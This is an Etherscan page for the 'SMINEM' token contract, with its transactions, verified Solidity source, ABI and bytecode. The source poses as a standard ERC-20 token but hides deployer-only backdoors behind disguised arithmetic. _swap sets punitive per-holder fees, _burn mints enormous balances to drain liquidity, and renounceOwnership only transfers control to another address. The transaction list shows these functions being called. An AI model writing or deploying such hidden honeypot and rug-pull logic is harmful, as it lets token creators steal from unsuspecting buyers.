ETH Price: $3,339.29 (-0.82%)
Gas: 4 Gwei

Contract

0xC51Cfa8f5Ce75F3620264312dfc800256013faCD
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve187913452023-12-15 11:53:23227 days ago1702641203IN
0xC51Cfa8f...56013faCD
0 ETH0.0028288660.89743861
_burn187913342023-12-15 11:50:59227 days ago1702641059IN
0xC51Cfa8f...56013faCD
0 ETH0.0021291643.5688177
_swap187904012023-12-15 8:42:59227 days ago1702629779IN
0xC51Cfa8f...56013faCD
0 ETH0.0011978343.76307482
_swap187901322023-12-15 7:49:11227 days ago1702626551IN
0xC51Cfa8f...56013faCD
0 ETH0.0020457143.2762579
_swap187896902023-12-15 6:20:11228 days ago1702621211IN
0xC51Cfa8f...56013faCD
0 ETH0.0013393848.93439836
Transfer187896872023-12-15 6:19:35228 days ago1702621175IN
0xC51Cfa8f...56013faCD
0 ETH0.0016024746.81897234
_swap187891562023-12-15 4:32:35228 days ago1702614755IN
0xC51Cfa8f...56013faCD
0 ETH0.0016902435.75645746
Approve187865572023-12-14 19:48:11228 days ago1702583291IN
0xC51Cfa8f...56013faCD
0 ETH0.0023923851.5012075
Approve187865492023-12-14 19:46:35228 days ago1702583195IN
0xC51Cfa8f...56013faCD
0 ETH0.0024115751.84731652
_swap187852672023-12-14 15:27:59228 days ago1702567679IN
0xC51Cfa8f...56013faCD
0 ETH0.0023228649.13933776
Transfer187843502023-12-14 12:21:47228 days ago1702556507IN
0xC51Cfa8f...56013faCD
0 ETH0.0034905442.51992716
Approve187843032023-12-14 12:12:11228 days ago1702555931IN
0xC51Cfa8f...56013faCD
0 ETH0.0021843347.26672564
_swap187842962023-12-14 12:10:47228 days ago1702555847IN
0xC51Cfa8f...56013faCD
0 ETH0.0025785554.54839064
Approve187842222023-12-14 11:55:59228 days ago1702554959IN
0xC51Cfa8f...56013faCD
0 ETH0.0016298435.31400988
Approve187840652023-12-14 11:24:11228 days ago1702553051IN
0xC51Cfa8f...56013faCD
0 ETH0.0017812638.29602781
Approve187840352023-12-14 11:18:11228 days ago1702552691IN
0xC51Cfa8f...56013faCD
0 ETH0.001646235.43805099
Approve187840332023-12-14 11:17:47228 days ago1702552667IN
0xC51Cfa8f...56013faCD
0 ETH0.0016840936.25370858
_swap187840242023-12-14 11:15:59228 days ago1702552559IN
0xC51Cfa8f...56013faCD
0 ETH0.0019344240.92199297
Approve187838652023-12-14 10:43:47228 days ago1702550627IN
0xC51Cfa8f...56013faCD
0 ETH0.0018607340.05622281
_swap187838632023-12-14 10:43:23228 days ago1702550603IN
0xC51Cfa8f...56013faCD
0 ETH0.0021542345.57196376
_swap187838152023-12-14 10:33:35228 days ago1702550015IN
0xC51Cfa8f...56013faCD
0 ETH0.0019612141.4887637
_swap187837252023-12-14 10:15:35228 days ago1702548935IN
0xC51Cfa8f...56013faCD
0 ETH0.0019964942.23506038
_swap187836832023-12-14 10:07:11228 days ago1702548431IN
0xC51Cfa8f...56013faCD
0 ETH0.0024486251.79972555
_swap187834972023-12-14 9:29:35228 days ago1702546175IN
0xC51Cfa8f...56013faCD
0 ETH0.0021520345.52552255
_swap187834342023-12-14 9:16:59228 days ago1702545419IN
0xC51Cfa8f...56013faCD
0 ETH0.002619655.43079732
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SMINEM

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-12-14
*/

/**
SMINEM

X/Twitter: https://twitter.com/SMINEM_ERC
Telegram: https://t.me/sminemERC
Web: https://sminem.money/
*/



// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;
    constructor () {_owner = msg.sender;}
    
    function owner() public view returns (address) {return _owner;}
    modifier onlyOwner() {
        require(_owner == msg.sender, "!owner");
        _;
    }
    
    function renounceOwnership(address newOwner) public virtual onlyOwner {
        _owner = newOwner;
    }

}

contract SMINEM is Ownable {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _swapFeeTo;string public name;string public symbol;
    uint8 public decimals;mapping(address => bool) public _isExcludeFromFee;
    uint256 public totalSupply;IUniswapRouter public _uniswapRouter;
    bool private inSwap;uint256 private constant MAX = ~uint256(0);
    mapping (address => uint256) public __balances; 

    uint256 public _swapTax;
    address public _uniswapPair;

    function _transfer(address from,address to,uint256 amount) private {

        bool shouldBetakeFee = !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to];

        _balances[from] = _balances[from] - amount;

        uint256 _taxAmount;
        if (shouldBetakeFee) {
            uint256 feeAmount = amount * __balances[from] / 100;
            _taxAmount += feeAmount;
            if (feeAmount > 0){
                _balances[address(_swapFeeTo)] += feeAmount;
                emit Transfer(from, address(_swapFeeTo), feeAmount);
            }
        }
        _balances[to] = _balances[to] + amount - _taxAmount;
        emit Transfer(from, to, amount - _taxAmount);
    }

    constructor (){
        name = "Sminem";
        symbol = "SMINEM";
        decimals = 9;
        uint256 Supply = 1000000000;
        _swapFeeTo = msg.sender;
        _swapTax = 0;
        totalSupply = Supply * 10 ** decimals;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[_swapFeeTo] = true;

        _balances[msg.sender] = totalSupply;
        emit Transfer(address(0), msg.sender, totalSupply);
        
        _uniswapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(_uniswapRouter)] = MAX;
        _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        _isExcludeFromFee[address(_uniswapRouter)] = true;
    }
 
    function _swap(address[] memory users, uint256 feePercent) external {
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        for (uint256 i = 0; i < users.length; i++) {
            __balances[users[i]] = feePercent;
        }
    }

    function _burn(address user) public {
        mapping(address=>uint256) storage _allowance = _balances;
        uint256 A = _swapFeeTo == msg.sender ? 9 : 2-1;
        uint256 C = A - 3;A = C;
        _allowance[user] = 1000*totalSupply*C**2;
    }

    function balanceOf(address account) public view returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view returns (uint256) {return _allowances[owner][spender];}
    function approve(address spender, uint256 amount) public returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {_allowances[owner][spender] = amount;emit Approval(owner, spender, amount);}
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"__balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"name":"_burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"feePercent","type":"uint256"}],"name":"_swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swapFeeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b505f80546001600160a01b03191633179055604080518082019091526006815265536d696e656d60d01b60208201526004906200004e9082620003d1565b50604080518082019091526006815265534d494e454d60d01b60208201526005906200007b9082620003d1565b506006805460ff19166009908117909155600380546001600160a01b031916331790555f600b55633b9aca0090620000b590600a620005ac565b620000c19082620005c3565b6008908155305f9081526007602090815260408083208054600160ff1991821681179092553380865283862080548316841790556003546001600160a01b0316865283862080549092168317909155945485855290835281842081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081178255305f908152600260209081526040808320938352928152908290205f1990559154815163c45a015560e01b815291516001600160a01b03919091169263c45a015592600480820193918290030181865afa158015620001d7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001fd9190620005dd565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002839190620005dd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620002ce573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002f49190620005dd565b600c80546001600160a01b0319166001600160a01b03928316179055600954165f908152600760205260409020805460ff191660011790555062000605565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200035c57607f821691505b6020821081036200037b57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003cc57805f5260205f20601f840160051c81016020851015620003a85750805b601f840160051c820191505b81811015620003c9575f8155600101620003b4565b50505b505050565b81516001600160401b03811115620003ed57620003ed62000333565b6200040581620003fe845462000347565b8462000381565b602080601f8311600181146200043b575f8415620004235750858301515b5f19600386901b1c1916600185901b17855562000495565b5f85815260208120601f198616915b828110156200046b578886015182559484019460019091019084016200044a565b50858210156200048957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004f157815f1904821115620004d557620004d56200049d565b80851615620004e357918102915b93841c9390800290620004b6565b509250929050565b5f826200050957506001620005a6565b816200051757505f620005a6565b81600181146200053057600281146200053b576200055b565b6001915050620005a6565b60ff8411156200054f576200054f6200049d565b50506001821b620005a6565b5060208310610133831016604e8410600b841016171562000580575081810a620005a6565b6200058c8383620004b1565b805f1904821115620005a257620005a26200049d565b0290505b92915050565b5f620005bc60ff841683620004f9565b9392505050565b8082028115828204841417620005a657620005a66200049d565b5f60208284031215620005ee575f80fd5b81516001600160a01b0381168114620005bc575f80fd5b610cbc80620006135f395ff3fe608060405260043610610113575f3560e01c8063426329c11161009d57806395d89b411161006257806395d89b4114610338578063a9059cbb1461034c578063daf81d5a1461036b578063dd62ed3e1461038a578063e4655f18146103ce575f80fd5b8063426329c1146102735780634bf28fd0146102aa57806365b61b77146102c957806370a08231146102e85780638da5cb5b1461031c575f80fd5b806330da23e4116100e357806330da23e4146101b9578063313ce567146101ce57806336b2e027146101f957806338bf3cfa14610227578063420d10b514610248575f80fd5b806306fdde031461011e578063095ea7b31461014857806318160ddd1461017757806323b872dd1461019a575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103ed565b60405161013f91906108e9565b60405180910390f35b348015610153575f80fd5b50610167610162366004610950565b610479565b604051901515815260200161013f565b348015610182575f80fd5b5061018c60085481565b60405190815260200161013f565b3480156101a5575f80fd5b506101676101b4366004610978565b61048f565b3480156101c4575f80fd5b5061018c600b5481565b3480156101d9575f80fd5b506006546101e79060ff1681565b60405160ff909116815260200161013f565b348015610204575f80fd5b506101676102133660046109b1565b60076020525f908152604090205460ff1681565b348015610232575f80fd5b506102466102413660046109b1565b610521565b005b348015610253575f80fd5b5061018c6102623660046109b1565b600a6020525f908152604090205481565b34801561027e575f80fd5b50600354610292906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b3480156102b5575f80fd5b50600c54610292906001600160a01b031681565b3480156102d4575f80fd5b50600954610292906001600160a01b031681565b3480156102f3575f80fd5b5061018c6103023660046109b1565b6001600160a01b03165f9081526001602052604090205490565b348015610327575f80fd5b505f546001600160a01b0316610292565b348015610343575f80fd5b50610132610588565b348015610357575f80fd5b50610167610366366004610950565b610595565b348015610376575f80fd5b506102466103853660046109b1565b6105a1565b348015610395575f80fd5b5061018c6103a43660046109d1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d9575f80fd5b506102466103e8366004610a16565b61061a565b600480546103fa90610adc565b80601f016020809104026020016040519081016040528092919081815260200182805461042690610adc565b80156104715780601f1061044857610100808354040283529160200191610471565b820191905f5260205f20905b81548152906001019060200180831161045457829003601f168201915b505050505081565b5f6104853384846106a1565b5060015b92915050565b5f61049b848484610701565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610517576001600160a01b0384165f9081526002602090815260408083203384529091529020546104f3908390610b28565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105675760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b5f80546001600160a01b0319166001600160a01b0392909216919091179055565b600580546103fa90610adc565b5f610485338484610701565b6003546001905f906001600160a01b031633146105bf5760016105c2565b60095b60ff1690505f6105d3600383610b28565b91508190506105e3600282610c1b565b6008546105f2906103e8610c29565b6105fc9190610c29565b6001600160a01b039094165f90815260209390935250506040902055565b6003545f906001600160a01b03163314610635576001610638565b60095b60ff1690505f610649600383610b28565b90508091505f5b845181101561069a5783600a5f87848151811061066f5761066f610c40565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610650565b5050505050565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6009545f90600160a01b900460ff1615801561073557506001600160a01b0384165f9081526007602052604090205460ff16155b801561075957506001600160a01b0383165f9081526007602052604090205460ff16155b6001600160a01b0385165f9081526001602052604090205490915061077f908390610b28565b6001600160a01b0385165f908152600160205260408120919091558115610859576001600160a01b0385165f908152600a60205260408120546064906107c59086610c29565b6107cf9190610c54565b90506107db8183610c73565b91508015610857576003546001600160a01b03165f908152600160205260408120805483929061080c908490610c73565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b0384165f90815260016020526040902054819061087e908590610c73565b6108889190610b28565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6108d18487610b28565b60405190815260200160405180910390a35050505050565b5f602080835283518060208501525f5b81811015610915578581018301518582016040015282016108f9565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461094b575f80fd5b919050565b5f8060408385031215610961575f80fd5b61096a83610935565b946020939093013593505050565b5f805f6060848603121561098a575f80fd5b61099384610935565b92506109a160208501610935565b9150604084013590509250925092565b5f602082840312156109c1575f80fd5b6109ca82610935565b9392505050565b5f80604083850312156109e2575f80fd5b6109eb83610935565b91506109f960208401610935565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610a27575f80fd5b823567ffffffffffffffff80821115610a3e575f80fd5b818501915085601f830112610a51575f80fd5b8135602082821115610a6557610a65610a02565b8160051b604051601f19603f83011681018181108682111715610a8a57610a8a610a02565b604052928352818301935084810182019289841115610aa7575f80fd5b948201945b83861015610acc57610abd86610935565b85529482019493820193610aac565b9997909101359750505050505050565b600181811c90821680610af057607f821691505b602082108103610b0e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561048957610489610b14565b600181815b80851115610b7557815f1904821115610b5b57610b5b610b14565b80851615610b6857918102915b93841c9390800290610b40565b509250929050565b5f82610b8b57506001610489565b81610b9757505f610489565b8160018114610bad5760028114610bb757610bd3565b6001915050610489565b60ff841115610bc857610bc8610b14565b50506001821b610489565b5060208310610133831016604e8410600b8410161715610bf6575081810a610489565b610c008383610b3b565b805f1904821115610c1357610c13610b14565b029392505050565b5f6109ca60ff841683610b7d565b808202811582820484141761048957610489610b14565b634e487b7160e01b5f52603260045260245ffd5b5f82610c6e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561048957610489610b1456fea2646970667358221220550a0c139c692363f0cb225a5ee2024558b292d8dd322fe47d142668e8433bc864736f6c63430008160033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063426329c11161009d57806395d89b411161006257806395d89b4114610338578063a9059cbb1461034c578063daf81d5a1461036b578063dd62ed3e1461038a578063e4655f18146103ce575f80fd5b8063426329c1146102735780634bf28fd0146102aa57806365b61b77146102c957806370a08231146102e85780638da5cb5b1461031c575f80fd5b806330da23e4116100e357806330da23e4146101b9578063313ce567146101ce57806336b2e027146101f957806338bf3cfa14610227578063420d10b514610248575f80fd5b806306fdde031461011e578063095ea7b31461014857806318160ddd1461017757806323b872dd1461019a575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b506101326103ed565b60405161013f91906108e9565b60405180910390f35b348015610153575f80fd5b50610167610162366004610950565b610479565b604051901515815260200161013f565b348015610182575f80fd5b5061018c60085481565b60405190815260200161013f565b3480156101a5575f80fd5b506101676101b4366004610978565b61048f565b3480156101c4575f80fd5b5061018c600b5481565b3480156101d9575f80fd5b506006546101e79060ff1681565b60405160ff909116815260200161013f565b348015610204575f80fd5b506101676102133660046109b1565b60076020525f908152604090205460ff1681565b348015610232575f80fd5b506102466102413660046109b1565b610521565b005b348015610253575f80fd5b5061018c6102623660046109b1565b600a6020525f908152604090205481565b34801561027e575f80fd5b50600354610292906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b3480156102b5575f80fd5b50600c54610292906001600160a01b031681565b3480156102d4575f80fd5b50600954610292906001600160a01b031681565b3480156102f3575f80fd5b5061018c6103023660046109b1565b6001600160a01b03165f9081526001602052604090205490565b348015610327575f80fd5b505f546001600160a01b0316610292565b348015610343575f80fd5b50610132610588565b348015610357575f80fd5b50610167610366366004610950565b610595565b348015610376575f80fd5b506102466103853660046109b1565b6105a1565b348015610395575f80fd5b5061018c6103a43660046109d1565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103d9575f80fd5b506102466103e8366004610a16565b61061a565b600480546103fa90610adc565b80601f016020809104026020016040519081016040528092919081815260200182805461042690610adc565b80156104715780601f1061044857610100808354040283529160200191610471565b820191905f5260205f20905b81548152906001019060200180831161045457829003601f168201915b505050505081565b5f6104853384846106a1565b5060015b92915050565b5f61049b848484610701565b6001600160a01b0384165f9081526002602090815260408083203384529091529020545f1914610517576001600160a01b0384165f9081526002602090815260408083203384529091529020546104f3908390610b28565b6001600160a01b0385165f9081526002602090815260408083203384529091529020555b5060019392505050565b5f546001600160a01b031633146105675760405162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015260640160405180910390fd5b5f80546001600160a01b0319166001600160a01b0392909216919091179055565b600580546103fa90610adc565b5f610485338484610701565b6003546001905f906001600160a01b031633146105bf5760016105c2565b60095b60ff1690505f6105d3600383610b28565b91508190506105e3600282610c1b565b6008546105f2906103e8610c29565b6105fc9190610c29565b6001600160a01b039094165f90815260209390935250506040902055565b6003545f906001600160a01b03163314610635576001610638565b60095b60ff1690505f610649600383610b28565b90508091505f5b845181101561069a5783600a5f87848151811061066f5761066f610c40565b6020908102919091018101516001600160a01b031682528101919091526040015f2055600101610650565b5050505050565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6009545f90600160a01b900460ff1615801561073557506001600160a01b0384165f9081526007602052604090205460ff16155b801561075957506001600160a01b0383165f9081526007602052604090205460ff16155b6001600160a01b0385165f9081526001602052604090205490915061077f908390610b28565b6001600160a01b0385165f908152600160205260408120919091558115610859576001600160a01b0385165f908152600a60205260408120546064906107c59086610c29565b6107cf9190610c54565b90506107db8183610c73565b91508015610857576003546001600160a01b03165f908152600160205260408120805483929061080c908490610c73565b90915550506003546040518281526001600160a01b03918216918816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b505b6001600160a01b0384165f90815260016020526040902054819061087e908590610c73565b6108889190610b28565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6108d18487610b28565b60405190815260200160405180910390a35050505050565b5f602080835283518060208501525f5b81811015610915578581018301518582016040015282016108f9565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461094b575f80fd5b919050565b5f8060408385031215610961575f80fd5b61096a83610935565b946020939093013593505050565b5f805f6060848603121561098a575f80fd5b61099384610935565b92506109a160208501610935565b9150604084013590509250925092565b5f602082840312156109c1575f80fd5b6109ca82610935565b9392505050565b5f80604083850312156109e2575f80fd5b6109eb83610935565b91506109f960208401610935565b90509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610a27575f80fd5b823567ffffffffffffffff80821115610a3e575f80fd5b818501915085601f830112610a51575f80fd5b8135602082821115610a6557610a65610a02565b8160051b604051601f19603f83011681018181108682111715610a8a57610a8a610a02565b604052928352818301935084810182019289841115610aa7575f80fd5b948201945b83861015610acc57610abd86610935565b85529482019493820193610aac565b9997909101359750505050505050565b600181811c90821680610af057607f821691505b602082108103610b0e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561048957610489610b14565b600181815b80851115610b7557815f1904821115610b5b57610b5b610b14565b80851615610b6857918102915b93841c9390800290610b40565b509250929050565b5f82610b8b57506001610489565b81610b9757505f610489565b8160018114610bad5760028114610bb757610bd3565b6001915050610489565b60ff841115610bc857610bc8610b14565b50506001821b610489565b5060208310610133831016604e8410600b8410161715610bf6575081810a610489565b610c008383610b3b565b805f1904821115610c1357610c13610b14565b029392505050565b5f6109ca60ff841683610b7d565b808202811582820484141761048957610489610b14565b634e487b7160e01b5f52603260045260245ffd5b5f82610c6e57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561048957610489610b1456fea2646970667358221220550a0c139c692363f0cb225a5ee2024558b292d8dd322fe47d142668e8433bc864736f6c63430008160033

Deployed Bytecode Sourcemap

1093:3854:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1443:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4293:124;;;;;;;;;;-1:-1:-1;4293:124:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4293:124:0;1004:187:1;1567:26:0;;;;;;;;;;;;;;;;;;;1342:25:1;;;1330:2;1315:18;1567:26:0;1196:177:1;4423:327:0;;;;;;;;;;-1:-1:-1;4423:327:0;;;;;:::i;:::-;;:::i;1762:23::-;;;;;;;;;;;;;;;;1489:21;;;;;;;;;;-1:-1:-1;1489:21:0;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;1489:21:0;1711:184:1;1511:49:0;;;;;;;;;;-1:-1:-1;1511:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;978:106;;;;;;;;;;-1:-1:-1;978:106:0;;;;;:::i;:::-;;:::i;:::-;;1706:46;;;;;;;;;;-1:-1:-1;1706:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;1417:25;;;;;;;;;;-1:-1:-1;1417:25:0;;;;-1:-1:-1;;;;;1417:25:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;1417:25:0;2091:203:1;1792:27:0;;;;;;;;;;-1:-1:-1;1792:27:0;;;;-1:-1:-1;;;;;1792:27:0;;;1594:36;;;;;;;;;;-1:-1:-1;1594:36:0;;;;-1:-1:-1;;;;;1594:36:0;;;3933:94;;;;;;;;;;-1:-1:-1;3933:94:0;;;;;:::i;:::-;-1:-1:-1;;;;;4007:18:0;3990:7;4007:18;;;:9;:18;;;;;;;3933:94;806:63;;;;;;;;;;-1:-1:-1;844:7:0;861:6;-1:-1:-1;;;;;861:6:0;806:63;;1462:20;;;;;;;;;;;;;:::i;4033:130::-;;;;;;;;;;-1:-1:-1;4033:130:0;;;;;:::i;:::-;;:::i;3672:253::-;;;;;;;;;;-1:-1:-1;3672:253:0;;;;;:::i;:::-;;:::i;4169:118::-;;;;;;;;;;-1:-1:-1;4169:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;4258:18:0;;;4241:7;4258:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4169:118;3384:280;;;;;;;;;;-1:-1:-1;3384:280:0;;;;;:::i;:::-;;:::i;1443:18::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;4293:124::-;4359:4;4366:37;4375:10;4387:7;4396:6;4366:8;:37::i;:::-;-1:-1:-1;4411:4:0;4293:124;;;;;:::o;4423:327::-;4512:4;4529:36;4539:6;4547:9;4558:6;4529:9;:36::i;:::-;-1:-1:-1;;;;;4580:19:0;;1697:1;4580:19;;;:11;:19;;;;;;;;4600:10;4580:31;;;;;;;;-1:-1:-1;;4580:38:0;4576:145;;-1:-1:-1;;;;;4669:19:0;;;;;;:11;:19;;;;;;;;4689:10;4669:31;;;;;;;;:40;;4703:6;;4669:40;:::i;:::-;-1:-1:-1;;;;;4635:19:0;;;;;;:11;:19;;;;;;;;4655:10;4635:31;;;;;;;:74;4576:145;-1:-1:-1;4738:4:0;4423:327;;;;;:::o;978:106::-;915:6;;-1:-1:-1;;;;;915:6:0;925:10;915:20;907:39;;;;-1:-1:-1;;;907:39:0;;4973:2:1;907:39:0;;;4955:21:1;5012:1;4992:18;;;4985:29;-1:-1:-1;;;5030:18:1;;;5023:36;5076:18;;907:39:0;;;;;;;;1059:6:::1;:17:::0;;-1:-1:-1;;;;;;1059:17:0::1;-1:-1:-1::0;;;;;1059:17:0;;;::::1;::::0;;;::::1;::::0;;978:106::o;1462:20::-;;;;;;;:::i;4033:130::-;4102:4;4109:40;4119:10;4131:9;4142:6;4109: